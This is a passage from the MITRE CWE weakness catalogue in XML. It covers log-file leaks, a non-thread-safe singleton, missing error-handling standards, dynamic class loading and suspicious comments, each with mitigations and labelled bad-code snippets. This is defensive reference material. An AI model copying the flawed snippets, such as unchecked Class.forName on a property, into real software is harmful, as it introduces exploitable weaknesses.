			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>532</Relationship_Target_ID>
					          <!--Information Exposure Through Log Files-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not store sensitive information in log files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not log sensitive information outside a trust
						boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO13-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Cleanup Log Files</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="543" Name="Use of Singleton Pattern Without Synchronization in a Multithreaded Context" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses the singleton pattern when creating a
					resource within a multithreaded environment.</Description_Summary>
				        <Extended_Description>
					          <Text>The use of a singleton pattern may not be thread-safe.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>820</Relationship_Target_ID>
					          <!--Missing Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>381</Relationship_Target_ID>
					          <!--J2EE Time and State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the Thread-Specific Storage Pattern. See References.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use member fields to store information in the Servlet. In
							multithreading environments, storing user data in Servlet member fields
							introduces a data access race condition. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid using the double-checked locking pattern in language versions
							that cannot guarantee thread safety. This pattern may be used to avoid
							the overhead of a synchronized call, but in certain versions of Java
							(for example), this has been shown to be unsafe because it still
							introduces a race condition (CWE-209).</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This method is part of a singleton pattern, yet the following
						singleton() pattern is not thread-safe. It is possible that the method will
						create two objects instead of only one.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private static NumberConverter singleton;</Code>
							              <Code>public static NumberConverter get_singleton() {</Code>
							              <Block>
								                <Code>if (singleton == null) {</Code>
								                <Block>
									                  <Code>singleton = new NumberConverter(); </Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return singleton;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Consider the following course of events:</Text>
						            <Block Block_Nature="List">
							              <Text>Thread A enters the method, finds singleton to be null, begins the
								NumberConverter constructor, and then is swapped out of
								execution.</Text>
							              <Text>Thread B enters the method and finds that singleton remains null.
								This will happen if A was swapped out during the middle of the
								constructor, because the object reference is not set to point at the
								new object on the heap until the object is fully initialized.</Text>
							              <Text> Thread B continues and constructs another NumberConverter object
								and returns it while exiting the method.</Text>
							              <Text> Thread A continues, finishes constructing its NumberConverter
								object, and returns its version.</Text>
						            </Block>
						            <Text> At this point, the threads have created and returned two different
							objects. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Douglas C. Schmidt</Reference_Author>
					          <Reference_Author>Timothy H. Harrison</Reference_Author>
					          <Reference_Author>Nat Pryce</Reference_Author>
					          <Reference_Title>Thread-Specifc Storage for C/C++</Reference_Title>
					          <Reference_Link>http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Prevent multiple instantiations of singleton
						objects</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC07-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Description, Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Use of Singleton Pattern in a
						Non-thread-safe Manner</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="544" Name="Missing Standardized Error Handling Mechanism" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not use a standardized method for handling
					errors throughout the code, which might introduce inconsistent error handling
					and resultant weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>If the application handles error messages individually, on a one-by-one
						basis, this is likely to result in inconsistent error handling. The causes
						of errors may be lost. Also, detailed information about the causes of an
						error may be unintentionally returned to the user.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>746</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 12 - Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>define a strategy for handling errors of different severities, such as
							fatal errors versus basic log events. Use or create built-in language
							features, or an external package, that provides an easy-to-use API and
							define coding standards for the detection and handling of errors.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Adopt and implement a consistent and comprehensive
						error-handling policy</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Adopt and implement a consistent and comprehensive
						error-handling policy</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Missing Error Handling
						Mechanism</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Use a Standardized
						Error Handling Mechanism</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="545" Name="Use of Dynamic Class Loading" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Dynamically loaded code has the potential to be
					malicious.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The class loader executes the static initializers when the class is
						loaded. A malicious attack may be hidden in the static initializer and
						therefore does not require the execution of a specific method. An attack may
						also be hidden in any other method in the dynamically loaded code. The use
						of dynamic code could also enable an attacker to insert an attack into an
						application after it has been deployed. The attack code would not be in the
						baseline, but loaded dynamically while the application is running.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could execute malicious code that they have included in
							the loaded class. The malicious code can be executed without calling a
							specific method if the malicious code is hidden within the static class
							initializer.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid the use of class loading as it greatly complicates code
							analysis. If the application requires dynamic class loading, it should
							be well understood and documented. All classes that may be loaded should
							be predefined and avoid the use of dynamically created classes from byte
							arrays.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The code below dynamically loads a class using the Java Reflection
						API.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String className = System.getProperty("customClassName");</Code>
							              <Code>Class clazz = Class.forName(className);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Dynamic Class
						Loading</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="546" Name="Suspicious Comment" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code contains comments that suggest the presence of bugs,
					incomplete functionality, or weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO,
						in the code indicate missing security functionality and checking. Others
						indicate code problems that programmers should fix, such as hard-coded
						variables, error handling, not using stored procedures, and performance
						issues.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Suspicious comments could be an indication that there are problems in
							the source code that may need to be fixed and is an indication of poor
							quality. This could lead to further bugs and the introduction of
							weaknesses.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Documentation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove comments that suggest the presence of bugs, incomplete
							functionality, or weaknesses, before deploying the application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following excerpt demonstrates the use of a suspicious comment
						in an incomplete code block that may have security
						repercussions.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>if (user == null) {</Code>
							              <Block>
								                <Comment>// TODO: Handle null user condition.</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
